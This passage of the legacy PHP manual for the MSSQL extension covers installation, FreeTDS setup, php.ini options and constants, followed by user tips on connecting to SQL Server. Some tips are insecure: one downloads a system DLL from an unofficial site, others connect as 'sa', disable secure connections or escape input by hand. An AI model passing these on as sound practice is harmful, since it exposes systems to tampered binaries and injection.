- check windoze box firewall to accept TCP 1433 connection.

Enjoy!
Dragos
robyn at dcphp dot com 13-Dec-2010 04:31
http://www.apachefriends.org/en/xampp-macosx.html

This links to xampp works great on macs. I have put it only for PPC machines, but it claims to work properly on Intel as well.

I also had success installing FreeTDS and PHP from source on an Intel Macbook, running Mac OS 10.6 (Snow Leopard). My steps were the following:

PREPARE SOURCE CODE
step 1: download latest php version
step 2: un-tar the php source code
step 3: download latest freetds version
step 4: un-tar the freetds source code

INSTALL THE FREETDS
step 5: make sure there is a writable directory at /usr/local/freetds
step 6: "cd" to the freetds source directory
step 7: run "sudo ./configure --prefix=/usr/local/freetds --enable-msdblib"
step 8: run "sudo make"
step 9: run "sudo make install"
step 10: run "touch /usr/local/freetds/include/tds.h" (add blank, but necessary files)
step 11: run "touch /usr/local/freetds/lib/libtds.a" (add blank, but necessary files)

INSTALL THE PHP
step 11: "cd" to the php source directory
step 12: run "sudo ./configure --disable-all --with-mssql=/usr/local/freetds"
step 13: run "sudo make"
step 14: run "sudo make install"

Of course, since I was disabling-all (step 12) that means that you have to explicitly add back those modules you want to configure php with.
mark dot treble at marktreble dot co dot uk 26-May-2010 08:28
If anybody is looking for the api documentation now - (26 May 2010), it can be found at:

http://msdn.microsoft.com/en-us/library/cc296152%28SQL.90%29.aspx
jklowden at freetds dot org 27-May-2008 07:06
The 30-character limitation  does not apply to the FreeTDS db-lib implementation.  FreeTDS returns column names of any length supported by the server (and protocol).


Requirements

Requirements for Win32 platforms.

The extension requires the MS SQL Client Tools to be installed on the system where PHP is installed. The Client Tools can be installed from the MS SQL Server CD or by copying ntwdblib.dll from \winnt\system32 on the server to \winnt\system32 on the PHP box. Copying ntwdblib.dll will only provide access through named pipes. Configuration of the client will require installation of all the tools.

This extension is not available anymore on Windows with PHP 5.3 or later.

SqlSrv, an alternative driver for MS SQL is available from Microsoft: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx.

Requirements for Unix/Linux platforms.

To use the MSSQL extension on Unix/Linux, you first need to build and install the FreeTDS library. Source code and installation instructions are available at the FreeTDS home page: » http://www.freetds.org/

Note:

On Windows, the DBLIB from Microsoft is used. Functions that return a column name are based on the dbcolname() function in DBLIB. DBLIB was developed for SQL Server 6.x where the max identifier length is 30. For this reason, the maximum column length is 30 characters. On platforms where FreeTDS is used (Linux), this is not a problem.

Note:

On Windows, if you're using MSSQL 2005 or greater you must copy the ntwdblib.dll into the directory where you have installed php and overwrite the one thats already in there. This is due to the version distributed is old and outdated. Alternatively you can use the » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx, ODBC, PDO_DBLIB or PDO_ODBC extensions, to talk to MSSQL.

User Contributed Notes

mihabo at hotmail dot com 03-Mar-2010 12:56
I have struggled a lot to make PHP connect to a MS SQL server from under a Linux (using FreeTDS).
I installed the latest FreeTDS and tried to use usual host:port to connect to a server.
Finally when I configured freetds.conf like that:

[mysrvalias]
        host = 192.168.17.17
        port = 1433
        tds version = 7.0

and used mysrvalias instead of the 192.168.17.17:1433, it worked!


Installation

The MSSQL extension is enabled by adding extension=php_mssql.dll to php.ini.

To get these functions to work, you have to compile PHP with --with-mssql[=DIR] , where DIR is the FreeTDS install prefix. And FreeTDS should be compiled using --enable-msdblib .

Warning

MS SQL functions are aliases to Sybase functions if PHP is compiled with Sybase extension and without MS SQL extension.

User Contributed Notes

Dave 25-Jan-2010 10:25
Linux users: I had to set the TDSDUMP and TDSCONFDUMP environment variables in my apache init script in order for freetds/mssql connections to work:

In my /etc/init.d/httpd file:
export FREETDSCONF=/usr/local/freetds/etc/freetds.conf
export SYBASE=/usr/local/freetds
export LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:$SYBASE/lib
export TDSDUMP=/var/log/freetds/tdsdump-apache_log
export TDSDUMPCONF=/var/log/freetds/tdsdumpconf-apache_log

Make sure apache can write to the TDSDUMP directory.

(Using FreeTDS 0.82, PHP 5.2.9)
mirko dot steiner at slashdevslashnull dot de 29-Sep-2009 12:36
PHP msdblib niggle encountered

In configuring your new version of PHP to work with FreeTDS 0.82, you may encounter:
configure: error: Directory /usr/local/freetds-0.82 is not a FreeTDS installation directory
PHP tests for a FreeTDS installation by looking for files that FreeTDS no longer installs. To assure PHP that FreeTDS is installed, create two files where FreeTDS was installed e.g.:
$ touch /usr/local/freetds-0.82/include/tds.h
$ touch /usr/local/freetds-0.82/lib/libtds.a
The file that needs to be changed is used by autoconf when the distribution tarball is constructed. Cf. revision 1.13 of PHP source file config.m4. (12 June 2008)

(http://www.freetds.org/news.html)
jonatasvenancio at gmail dot com 03-Mar-2009 08:07
Finally i did it.

I could make the connection with MS-SQL:
1 - I downloaded the new version of ntwdblib.dll like we already saw at the others posts.
2 - I actived the php_mssql.dll in php.ini (the DLL must be in your extension dir)
3 - Restarted apache.
4 - Got my MS-SQL name instance (in my case was SQLEXPRESS because i was using MS-SQL Express Version and didn't change the default configuration).
5 - I did my connection file.

#################
<?php
$conn = mssql_connect("ADMIN-PC\SQLEXPRESS", "usuario", "senha") or die ("erro ao conectar");

// Admin-PC is the name of my computer and SQLExpress is the name of MS-SQL Instance).
// usuario is a user that i created on SQL server with this command.
// SP_AddLogin 'user', 'password'
// after that i used this onde SP_AddUser 'user'
// you can change fot the user you want.
// I cound't use the defaullt user of MS-SQL, but with this one the connection worked.

?>

I hope this can help you.

Sorry for the english.
I'm brasilian.
Venâncio
Matt Mason 09-Jul-2008 07:42
Had a problem compiling PHP with --with-mssql=/usr/local/freetds , kept saying that it wasn't a valid FreeTDS directory...

Check that when you install FreeTDS from source, that it actually puts the required files from the source directory to where the installation directory was specified, so to fix:

cp [tds source]/include/tds.h /usr/local/freetds/include
cp [tds source]src/tds/.libs/libtds.a /usr/local/freetds/lib

{in this example I installed FreeTDS to /usr/local/freetds}

This may make it a little easier for some else too.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

MS SQL Server configuration options
Name | Default | Changeable | Changelog
mssql.allow_persistent | "1" | PHP_INI_SYSTEM |
mssql.max_persistent | "-1" | PHP_INI_SYSTEM |
mssql.max_links | "-1" | PHP_INI_SYSTEM |
mssql.min_error_severity | "10" | PHP_INI_ALL |
mssql.min_message_severity | "10" | PHP_INI_ALL |
mssql.compatability_mode | "0" | PHP_INI_ALL |
mssql.connect_timeout | "5" | PHP_INI_ALL |
mssql.timeout | "60" | PHP_INI_ALL | Available since PHP 4.1.0.
mssql.textsize | "-1" | PHP_INI_ALL |
mssql.textlimit | "-1" | PHP_INI_ALL |
mssql.batchsize | "0" | PHP_INI_ALL | Available since PHP 4.0.4.
mssql.datetimeconvert | "1" | PHP_INI_ALL | Available since PHP 4.2.0.
mssql.secure_connection | "0" | PHP_INI_SYSTEM | Available since PHP 4.3.0.
mssql.max_procs | "-1" | PHP_INI_ALL | Available since PHP 4.3.0.
mssql.charset | "" | PHP_INI_ALL | Available since PHP 5.1.2 when built with FreeTDS 7.0 or greater.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

pigochu at gmail dot com 19-Feb-2012 05:59
If mssql.charset = "UTF-8" can't get UTF-8 string , u can use putenv() to set FREETDSCONF dynamic.
jakub dot otrzasek at marol dot com dot pl 10-Jul-2009 02:03
mssql.charset      ""      PHP_INI_ALL
this setting is case sensitive, it can provide problms with connection to DB.

 ini_set('mssql.charset', 'utf-8');
this setting this allowed me to connect.

 ini_set('mssql.charset', 'UTF-8');
that one is ok.

regards!
ed at x-space dot net 31-Jan-2009 04:13
Take care about mssql.max_procs = '-1'. It doesn't mean unlimited procs.

With the default driver, it's mean 25 procs.

See php.ini for more information.

If you're application is stress, mssql_connect may failed without adjustment.
valli at icsurselva dot ch 04-Sep-2008 12:28
There also exists a configuration option called 'mssql.charset'.
It will override the 'client charset' setting in freetds.conf.
AFAIK this will only take effect if the 'tds version' setting
in freetds.conf is >=7.0


Resource Types

mssql link

A connection link returned by mssql_connect() and mssql_pconnect().

mssql result

A result handle returned by mssql_query() on SELECT queries.

mssql statement

A statement handle returned by mssql_init().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MSSQL_ASSOC (integer)
Return an associative array. Used on mssql_fetch_array()'s result_type parameter.
MSSQL_NUM (integer)
Return an array with numeric keys. Used on mssql_fetch_array()'s result_type parameter.
MSSQL_BOTH (integer)
Return an array with both numeric keys and keys with their field name. This is the default value for mssql_fetch_array()'s result_type parameter.
SQLTEXT (integer)
Indicates the 'TEXT' type in MSSQL, used by mssql_bind()'s type parameter.
SQLVARCHAR (integer)
Indicates the 'VARCHAR' type in MSSQL, used by mssql_bind()'s type parameter.
SQLCHAR (integer)
Indicates the 'CHAR' type in MSSQL, used by mssql_bind()'s type parameter.
SQLINT1 (integer)
Represents one byte, with a range of -128 to 127.
SQLINT2 (integer)
Represents two bytes, with a range of -32768 to 32767.
SQLINT4 (integer)
Represents four bytes, with a range of -2147483648 to 2147483647.
SQLBIT (integer)
Indicates the 'BIT' type in MSSQL, used by mssql_bind()'s type parameter.
SQLFLT4 (integer)
Represents an four byte float.
SQLFLT8 (integer)
Represents an eight byte float.

User Contributed Notes

emigort at gmail dot com 01-May-2013 11:58
For MSSQL data type bigint use
SQLFLT8  type parameter on mssql_bind
plee61 at hotmail dot com 04-May-2008 07:32
SQLINT1 represents one byte, range -128 to 127
SQLINT2 represents two bytes, range -32768 to 32767
SQLINT4 represents four bytes, range -2147483648 to 2147483647


Mssql Functions

Table of Contents

  • mssql_bind — Adds a parameter to a stored procedure or a remote stored procedure
  • mssql_close — Close MS SQL Server connection
  • mssql_connect — Open MS SQL server connection
  • mssql_data_seek — Moves internal row pointer
  • mssql_execute — Executes a stored procedure on a MS SQL server database
  • mssql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
  • mssql_fetch_assoc — Returns an associative array of the current row in the result
  • mssql_fetch_batch — Returns the next batch of records
  • mssql_fetch_field — Get field information
  • mssql_fetch_object — Fetch row as object
  • mssql_fetch_row — Get row as enumerated array
  • mssql_field_length — Get the length of a field
  • mssql_field_name — Get the name of a field
  • mssql_field_seek — Seeks to the specified field offset
  • mssql_field_type — Gets the type of a field
  • mssql_free_result — Free result memory
  • mssql_free_statement — Free statement memory
  • mssql_get_last_message — Returns the last message from the server
  • mssql_guid_string — Converts a 16 byte binary GUID to a string
  • mssql_init — Initializes a stored procedure or a remote stored procedure
  • mssql_min_error_severity — Sets the minimum error severity
  • mssql_min_message_severity — Sets the minimum message severity
  • mssql_next_result — Move the internal result pointer to the next result
  • mssql_num_fields — Gets the number of fields in result
  • mssql_num_rows — Gets the number of rows in result
  • mssql_pconnect — Open persistent MS SQL connection
  • mssql_query — Send MS SQL query
  • mssql_result — Get result data
  • mssql_rows_affected — Returns the number of records affected by the query
  • mssql_select_db — Select MS SQL database

User Contributed Notes

amolkulkarni82 at gmail dot com 13-Nov-2013 04:31
Here is the changes required to connect MSSQL database using  mssql_connect with long password (more than 30 chars)

Steps to follow:

1) cd /usr/local/src/freetds-0.91/

2) Change the values as required in freetds src:

# Default values:
# Filename:  include/sybdb.h (line 67)
#define DBMAXNAME  30

# Filename:  include/tds.h (line 760)
#define TDS_MAX_DYNID_LEN    30

# Filename:  include/tds.h (line 831)
#define TDS_MAX_LOGIN_STR_SZ 30

3) Modify the TDS_MAX_LOGIN_STR_SZ macro to overcome the password limitation of 30 chars

4) Recompile the freetds

make clean && ./configure --prefix=/usr/local/freetds --with-tdsver=8.0 --enable-msdblib --enable-dbmfix --with-gnu-ld && make && make install

5) Restart the apache
/usr/local/apache2/bin/apachectl stop && /usr/local/apache2/bin/apachectl start

6) Export the FREETDS
export FREETDSCONF=/etc/freetds.conf

Test the MSSQLdatabase connection using CLI

> php -a
Interactive mode enabled

<?php

$conn = mssql_connect('hostname','username','password');

var_dump($conn);

if (!$conn)
    echo $strerr = "ERROR: Failed to connect to MSSQL Server ('hostname') : ".mssql_get_last_message();

?>

CTR+D

expected output:

resource(1) of type (mssql link)
stephan at towli dot ch 24-Mar-2010 04:25
I worked on a project with a MS SQL server 2008 containing data of NVARCHAR type in multiple languages,
including asian characters. It is a known issue, that the PHP MSSQL functions are not able to retrieve
unicode data form NVARCHAR or NTEXT data fields.

I spent some time searching for possible solutions and finaly found a work arround, that provides correct
display of latin and asian fonts from a NVARCHAR field.

Do a SQL query, while you convert the NVARCHAR data first to VARBINARY and then to VARCHAR

SELECT
CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),nvarchar_col)) AS x
FROM dbo.table

While you fetch the result set in PHP, use the iconv() function to convert the data to unicode

<?php $x = iconv("UCS-2LE","UTF-8",$row['x']); ?>

Now you can ouput the text to UTF-8 encoded page with the correct characters.

This workarround did run on IIS 6.0 with PHP 5.2.6 running as FastCGI.
mista-birdy[at]hotmail.com 16-Feb-2010 09:53
I'm using IIS 6.0, PHP 5.2 (issapi) and MSSQL.
I've had Problem to connect with PHP to MSSQL.
The Errormessage was that Loginname was incorrect.

My Solution is to set mssql.secure_connection = off
and create an MSSQL-Account (No Windows Authentification!) and connect to MSSQL Server. It works!

If you like to use Windows Authentification, you can use the Apache Service with your desired Account and set mssql.secure_connection = on. Then you can use the mssql_connect() function without user/pwd.
I don't know how this works with IIS 6.0 Server.
David Alan 16-Dec-2008 03:16
If you get an error like:

PHP Warning:  mssql_query(): message: Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier. (severity 16) in /var/www/html/query.php on line 29

There are two solutions: one solution involves casting the data types in the query, the other solution involves changing the version number free tds is using.

The first solution is mentioned all over the web and limits what you can return, the second solution will probably only be found right here.

Open up your free tds configuration file (/etc/freetds.conf), and change:

[global]
tds version = 4.2

to this:

[global]
tds version = 8.0

You don't have to upgrade any packages, but by default, freetds tries to use an older version (if you installed freetds using yum or apt-get).
robert dot johnson at icap dot com 24-Sep-2008 01:33
There is a PHP driver for SQL Server 2005+ from Microsoft.  You can even download the source code.

Search for "SQL Server 2005 Driver for PHP" on MSDN, or try one of these links:

http://msdn.microsoft.com/en-us/library/cc793139(SQL.90).aspx

http://msdn.microsoft.com/en-us/library/cc296221.aspx
Keith Radue, South Africa 24-Mar-2008 07:44
My Workstation/server:

Windows 2000 Advanced Server
iis
PHP 5.2.5
SQL server Express

Could not connect using the following connect string:

$sqlconn = mssql_connect "localhost,1433", "user", "password")

After 2 days of frustration and reinstalling PHP + SQLEXPRESS and trying EVERYTHING I could find via Google, I found a setting in PHP.INI that I never noticed.

ENABLE _dl = ON  ---------- I changed this to OFF

Problem went away and all is working as it used to on PHP4

Hope this helps others with the same problem
Sander Wartenberg 05-Mar-2008 01:19
Running on the following settings I couldn't connect to my local SQL server.

- Apache 2.2.6
- PHP 5.2.5
- SQL Server 2005
- Windows XP SP2

The problem lies within the wrong dynamic library that is included in Apache and PHP. To fix this problem follow this steps:

1. Download the good version of ntwdblib.dll (2000.80.194.0)  http://webzila.com/dll/1/ntwdblib.zip
2. Overwrite C:\wamp\bin\apache\apache2.2.6\bin\ntwdblib.dll
3. Overwrite C:\wamp\bin\php\php5.2.5\ntwdblib.dll

4. Start the SQL Server Configuration Manager -> Protocols
5. Enable "named pipes" and "tcp/ip"
6. Right-click "tcp/ip" -> Properties tab "IP addresses"
7. Fill in "TCP Dynamic Ports" with 1433

8. Restart SQL Server AND Apache, PHP and all the other services

Try the following mssql_connect:

mssql_connect('localhost,1433', USERNAME, PASSWORD);

Good luck!
Slartibartfast 21-Feb-2008 06:19
Using Apache on a windows machine to connect to a networked SQL Server I was getting the following error:

Warning: mssql_connect() [function.mssql-connect]: message: Login failed for user 'DomainName\MachineName$'. (severity 14)

This occurred regardless of the username and the password that I passed to mssql_connect()

Apparently the username and password parameters are ignored when connecting to SQL Server with trusted connections. Instead it attempts to connect using the  Web Server username and password instead. Under windows the default webserver account is the machine name (which is probably not set up as being a windows user).

This can be solved by configuring Apache to log on as a designated user.
-    Open Control Panels
-    Double click administrative tools
-    Double click services
-    Right click on Apache and choose properties
-    Under the "Log On" tab choose "This Account" and type in a valid domain user account & password
-    Restart the Apache service
jigarbe at yahoo dot com 15-Feb-2008 05:35
I was able to install and configure Freetds on CENTOS 4 following the guide lines mentioned in beliw mentioned URL

I advice everybody to follow the same

http://members.cox.net/midian/howto/phpMSSQL.htm
jigarbe at yahoo dot com 15-Feb-2008 05:32
PHP and SQL Server

Install And Configure FreeTDS
The first thing you need to do is to download and install the FreeTDS driver. You can get the source and compile it yourself from http://www.freetds.org/, but I prefer RPMs. Depending on your distrobution of Linux, the version you want will vary. I'm running Red Hat Enterprise Linux 4 ES and CentOS 4, which are both almost identical. I installed freetds-0.62.3-1 from http://rpmforge.net/user/packages/freetds/
After installing FreeTDS, you can check your driver by attempting to connect to the MSSQL Server. Of course, use the appropriate server name, username and password in your command line.
# /usr/bin/tsql -S [mssql.servername.or.ip] -U [ValidUser]
locale is "en-US.UTF-8"
locale charset is "UTF-8"
Password: [password]
1>
Enter "quit" to exit your successful connection. If the tsql command doesn't return the 1> prompt, verify that you can get to your MSSQL server with telnet [mssql.servername.or.ip] 1433 and that your username and password are valid.
Next, edit your /etc/freetds.conf configuration file and add the following at the end of the file:
[TDS]
    host = [mssql.servername.or.ip]
    port = 1433
    tds version = 7.0
  Setup ODBC Data Source
Next, unixODBC needs to know about all ODBC drivers you intend to use. While you can use the GUI program that comes with unixODBC, you can also use the odbcinst command. First create a template file containing your FreeTDS setup information.
tdsdriver.template
[FreeTDS]
Description = v.062 with protocol v7.0
Driver = /usr/lib/libtdsodbc.so.0
Run odbcinst, telling it to install a driver entry using the template we just created.
# odbcinst -i -d -f tdsdriver.template
odbcinst: Driver installed. Usage count increased to 1.
    Target directory is /etc
This will add an entry to the end of the file /etc/odbcinst.ini
[FreeTDS]
Description        = v0.62 with protocol v7.0
Driver       = /usr/lib/libtdsodbc.so.0
UsageCount         = 1
Erwin Moller 22-Jan-2008 03:20
Microsoft SQL Server 2005 and Vista.

The following steps enabled MSSQL 2005 support on Vista Home Permium. (native drivers, not odbc which works out-of-the-box)

1) Place ntwdblib.dll in C:\Windows\System32
2) Place php_mssql.dll in C:\Windows\System32
(I gave IUSR full access to these files, maybe read is enough)

3) uncomment php_mssql.dll in php.ini

4) Changed my default SQLSERVER 2005 install so it accepts named piped. (Do this via start-> SQLServer2005->configuration tools->SQL SERVER surface area configuration.

5) reboot.

After that I could use the mssql_* functions.

Hope that helps.
darkelder at php dot net 21-Jan-2008 09:14
Microsoft do offer a SQL Server 2005 driver for PHP at http://www.microsoft.com/sql/technologies/php/default.mspx

It can be download free of charge. Binaries are provided for Windows platform only.
ahribernik _at_ blitztelecom com au 20-Nov-2007 01:44
FYI if you are on Linux and using FreeTDS for your drivers (you most likely are), you can get past the 255 character limit by:

1. open the file freetds.conf (normally in the directory /etc)
2. under [global] section change the "tds version" to "7.0" or "8.0" (depending on your version of SQL Server)
3. changes should be instant!

use 7.0 for Microsoft SQL Server 7.0
use 8.0 for Microsoft SQL Server 2000 and above

see http://www.freetds.org/userguide/choosingtdsprotocol.htm
nospam at gmail dot com 26-Oct-2007 08:10
If you are using mssql_bind with stored procedures on Windows and need to get around the 255 character varchar limit, one hack is to pass SQLTEXT as the data type to mssql_bind rather than SQLVARCHAR.

You will still need to use some means to get around returning  varchar data that's longer than 255, the simplest of which is to CAST the varchar field as text in your stored procedure itself.
hadrien(dot)debris {at} gmail(dot)com 11-Sep-2007 03:27
I have lost one day to understand why the MSSQL<->PHP connection was no longer functioning after a PHP update (5.2.2->5.2.4).

I eventually found how to solve things:
BEFORE
[code]$link = mssql_connect("SERVER\INST", "LOGIN", "password");[/code]

Which does not work any longer.

AFTER
[code]$link = mssql_connect("SERVER\\INST", "LOGIN", "password");[/code]

Works flawlessly.

Hope that'll prevent someone to lose precious hours of exasperation.
michael at nospam dot onlinecity dot dk 11-Sep-2007 11:55
If you are experiencing that ANSI characters are being corrupted, e.g. nordic letters are showing up as invalid characters and you have SQL Server 2000 installed on the same machine as the webserver, try checking SQL Server Client Network Utility under the DB-Library Options tab.
Make sure that "Automatic ANSI to OEM conversion" is NOT checked, this caused me several hours of headache.
mprentice at eeicom dot com 06-Sep-2007 05:34
It appears ntwdblib.dll is no longer a part of SQL 2005.  According to Microsoft the component is deprecated and they recommend using OLE DB or ODBC.  The dll from SQL Server version 6.5, SQL Server 7.0, or SQL Server 2000 still works against 2005 if you have it.

From Microsoft's site:

 Although the SQL Server 2005 Database Engine still supports connections from existing applications using the DB-Library and Embedded SQL APIs, it does not include the files or documentation needed to do programming work on applications that use these APIs. A future version of the SQL Server Database Engine will drop support for connections from DB-Library or Embedded SQL applications. Do not use DB-Library or Embedded SQL to develop new applications. Remove any dependencies on either DB-Library or Embedded SQL when modifying existing applications. Instead of these APIs, use the SQLClient namespace or an API such as OLE DB or ODBC. SQL Server 2005 does not include the DB-Library DLL required to run these applications. To run DB-Library or Embedded SQL applications you must have available the DB-Library DLL from SQL Server version 6.5, SQL Server 7.0, or SQL Server 2000.

http://msdn2.microsoft.com/en-us/library/ms143729.aspx
chop_01 at yahoo dot com 29-Aug-2007 10:38
I tried all manner of things in order to cnnect to SQLExpress aka SQL Server 2005 and was just about to walk away and move across to MySQL when it just dawned on me that after following all of the instructions from numerous people I never restarted the Apache service.

This meant that the new ntwdblib.dll was never called. I restarted the service and hey presto ... I can now connect to the SQL server.

The items that I did were as follows:

1. Installed the SQLServer in mixed auth mode
2. Checked that the mssql.secure_connection = Off was present in the php.ini
3. Copied the ntwdblib.dll file into
        o WINDOWS\SYSTEM32
        o program files\apache2\bin
        o php
4. Started the SQL Server Browser Service
5. Enabled all of the IPs in Protocols > TCP/IP
6. Restarted the following services:
       o Apache
       o SQL Service
       o SQL Browser Service

This allowed me to connect with no problems using the following parameters within my mssql_connect call

HOST=.\SQLEXPRESS
USERNAME=sa
PASSWORD=<MYPASS>
swaldester at gmail dot com 18-Jul-2007 05:03
For all of you connecting to MS SQL Server using freeTDS, having trouble to log on with a domain login:

Add the line:
putenv('TDSVER=70');

just before calling mssql_connect()

This worked for me with a MS SQL Server 2K Ent.

Thank you elmer !
post at wmm dot no 03-Jul-2007 08:48
Having trouble connecting to a MS SQL Server from Windows server with Apache + PHP, or some other server-configuration?

Too old MDAC in Windows may be your problem.

Here is a summary for those working on Windows-plattform:

1. Update your Microsoft MDAC (search for Microsoft Data Access Components on www.microsoft.com). Some older Microsoft servers (or workstations) contain old and crappy MDAC-installations. This solved our problem after two days of work..

2. Make sure ntwdblib.dll (version 8.00.194) is in the correct place(s). I only placed it in Apache bin directory and it worked fine, but apparently some Microsoft installations need it in several locations.. this is indeed very confusing!

3. You may have to set mssql.secure_connection = off in your php.ini

4. Make sure needed ports are configured in your firewall.

Hope this helps - now, back to coffee!
nmax at libero dot it 26-Jun-2007 02:41
About the ntwdblib.dll, I can say that on Windows 2003 Server with Apache 2.2 and PHP 5.2.3 I have repalced the one present in PHP folder with the version 8.00.194 of the same.

Putting the dll only in PHP folder and configuring in php.ini the variable mssql.secure_connection = Off mssql_connect() works!
James at thetallfamily dot com 21-Jun-2007 09:36
MSSQL doesn't have a real_escape_string function like MYSQL does, which can lead to error when inserting or updating data that contains a ' (single quote).

To prevent this, replace all ' (single quotes) by TWO ' (single quotes) '' which SQL server will interpret as an escaped '.
Also you may want to remove any \' \" escape sequences that are translated from any FORM output into the PHP $_POST variables.

Hope this helps someone.
James
Roy Maarssen 07-May-2007 10:47
My problem was that I've loaded the ntwdblib.dll (8.00.194) into the php directory, but it also have to be placed in the bin directory of Apache.

I hope this will save you some time searching for the solution, if you encounter the same problem.

I'm using SQL 2005 Express Edition on Windows Vista Enterprise with Apache.
lostaircryptic at hotmail dot co dot uk 30-Apr-2007 12:34
MAXIMUM COLUMN LENGTH OF 30 CHARACTERS....

This restriction was solved by using the following techniques.

First create a test which detects this to be the problem and then self correct it.

For the times that this is a problem rename the columns to an unique column name which is 30 characters exactly in length.  This column must be unique compares to the others, so use the MD5 Hashed value.  Since MD5 hashed values are 32 character HEX values, convert this to a toggle Hex value giving an exact maximum length of 31 characters.  Prepend a character to the start to ensure that it falls within Column naming regulations.

When the data is obtained, check for the hashed values against a check array and replace where neccessary.

Although complex it may sound, the method has been tried and successfully works, thus allowing columns of greater length than that of 30 characters.

I had this situation within Linux as well as Windows (XAMPP), so this solution was ultimate in solving the problem.

You can run the detection as a constant or automatically.  However it is best to use a constant for efficiency reasons.

Any questions, just email me.
Jason {at} RoundtopRiders {dot} com 10-Apr-2007 08:54
I struggled with this for a few days and finally got it figured out. I'm running Windows 2003 Server, PHP 5.2, Apache 2.2 and MSSQL Server 2005.

(1) Set 'msssql.secure_connection = On' in the PHP.ini file
(2) Download the correct ntwdblib.dll file (version 8.00.194)

Copy this to:

C:/Windows/System32
<server root>/php
<server root>/apache/bin

(I would just do a search for this file and replace it anywhere you find it...)

(3) Make sure TCP/IP and Named Pipes are enabled in the SQL Configuration tool.

Hope this saves somebody a few hours.
deyura at gmail dot com 10-Apr-2007 12:06
FreeTDS is work!!!

But after install you shoul add in config file
1. Add in freetds.conf client cahrset:
[TDS_NAME_TO_CONNECT]
host = 192.168.0.1
port = 1433
tds version = 8.0
client charset = CP1251

2. For datetime add in locales.conf in [default]:
date format = %Y-%m-%d %I:%M:%S.%z

3. restart apache

4. In your php-script you should connect to [TDS_NAME_TO_CONNECT]
mssql_connect('TDS_NAME_TO_CONNECT', 'php', '123');
vbchris at gmail dot com 06-Apr-2007 05:56
If your having problems with  your script at random times refusing to connect to the database. Try editing php.ini and uncommenting this line.

mssql.max_procs = -1

This solved the problem for me after 3 days of pulling my hair out wondering why it kept refusing to connect!

==

[Because this may not always work,] I created a loop to create a few connections and noticed it was always the first connection that failed. So I wrote this to keep trying to connect until it eventually does.

<?php
while(!$connection){
    @$connection = mssql_connect($cfg['server'],$cfg['username'],$cfg['password']);
}
$db = mssql_select_db($cfg['database'],$connection) or die("Error selecting the database");
?>
ziggurism at gmail dot com 30-Jan-2007 07:53
On *nix, of course you need to add extension=mssql.so to your php.ini.  Obvious, but it took me a while to figure that out.
tom at mazzotta dot com 19-Jan-2007 12:38
FINNALLY got PHP to connect to MS SQL Server. Even though I read through the multitue of comments about ntwdblib.dll, etc., I still couldn't get it to work. The key was to load the Microsoft MDAC (2.8) on my IIS/PHP server. If your environement does not use the web server to host SQL as well, you will probably need to install the MDAC. My guess is that an installation of SQL Server (and/or just the client tools) on the webserver will automatically include the MDAC and you would not experience this problem.
phpnet at pginet dot com 08-Jan-2007 09:35
This took me a while to figure out, so I may as well pass it along to save somebody time.

If you are having trouble connecting with a DSNless connection using unixodbc with freetds, don't forget to specify the TDS_Version in your connection string.

Example (8.0 is for SQL Server 2000 exclusively):

<?php
$dsn = "DRIVER=FreeTDS;TDS_Version=8.0; TRACE=No; SERVER=someserver; PORT=someport; DATABASE=somedb; UID=somelogin; PWD=somepassword";
?>
be_misc_01 at flowbuzz dot com 20-Dec-2006 10:06
Couple of notes:
When setting this up, you might notice that the unixODBC isql command likes the password wrapped in single quotes:
isql -v MyDSN MyUserID 'MyPa$$W0rd'

Additionally, if you happen to have a dollar-sign in your password (or username, or DSN) -- you must avoid using double quotes.  This is a normal PHP gotcha, but worth mentioning.
Won't work:
<?php $con = mssql_connect ("MyDSN", "MyUserID", "MyPa$$W0rd"); ?>

Will work (single quotes):
<?php $con = mssql_connect ("MyDSN", "MyUserID", 'MyPa$$W0rd'); ?>
davinel_lu_linvega at hotmail dot com 07-Dec-2006 12:38
About using the MSSQL XML field-type, for Win32 users,  :

1. The most simple way would be to

"SELECT [xmlfield] FROM [table]"

But this triggers the following error :

"Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier. (severity 16)"

2. Well, let's just read [xmlfield] as a VARCHAR.

"SELECT CAST([xmlfield] AS VARCHAR(8000)) FROM [table]"

will truncate to the 255 first characters, due to the API limitation. (see the marc at NOSPAM dot durdin dot net note)

3. So woud not that be appropriate to use the TEXT field-type ?

"SELECT CAST([xmlfield] AS TEXT) FROM [table]"

triggers :

"Explicit conversion from data type xml to text is not allowed. (severity 16)"

4. So you cannot read the VARCHAR nor the XML, and you cannot transform the XML into TEXT. In order to finally read that XML field-type, you may use this trick :

"SELECT CAST(CAST([xmlfield] AS VARCHAR(8000)) AS TEXT) FROM [table]"
KamiKazie at comcast dot net 22-Nov-2006 04:01
I have found that a Windows Webserver cannot connect to a Microsoft SQL Database if the webserver is running Microsoft SQL Server Agent.  It gives connection and undefined function errors.  Hope this helps some people.
JinXy at skylinetop dot com 15-Nov-2006 05:37
I had major problems trying to get the msssql extension loaded.  The following fixed it for me:

1. Make sure the ntwdblib.dll file located in system32/ on the Database server is copied to system32 on the PHP serving server.
2. Uncomment the extension in the php.ini file.
3. Add the following to the registry: [HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\PHP"
This tells PHP where to find the php.ini
(This is what my resolution to my problem was - only after some time did I find some reference to it).
4. Restart IIS
anders jenbo(located)pc denmark 03-Nov-2006 09:32
The 3 major headaicks I had while setting up MS SQL 2005, php 5.1.6 (apache 2.2 server) on Vista RC1 and getting them to comunicate.

TCP/IP and "Named Pipes Protocol" had to be enabled in the MS SQL Server. You do this in the Surface Area Configuration tool.

MS SQL 2005 should be set to mix mode login. Unless you use NT authentication in php.ini.
You can do this in duing install if you select advanced options.
If it's already installed you will have to use the SQL management Studio (properties->securety).

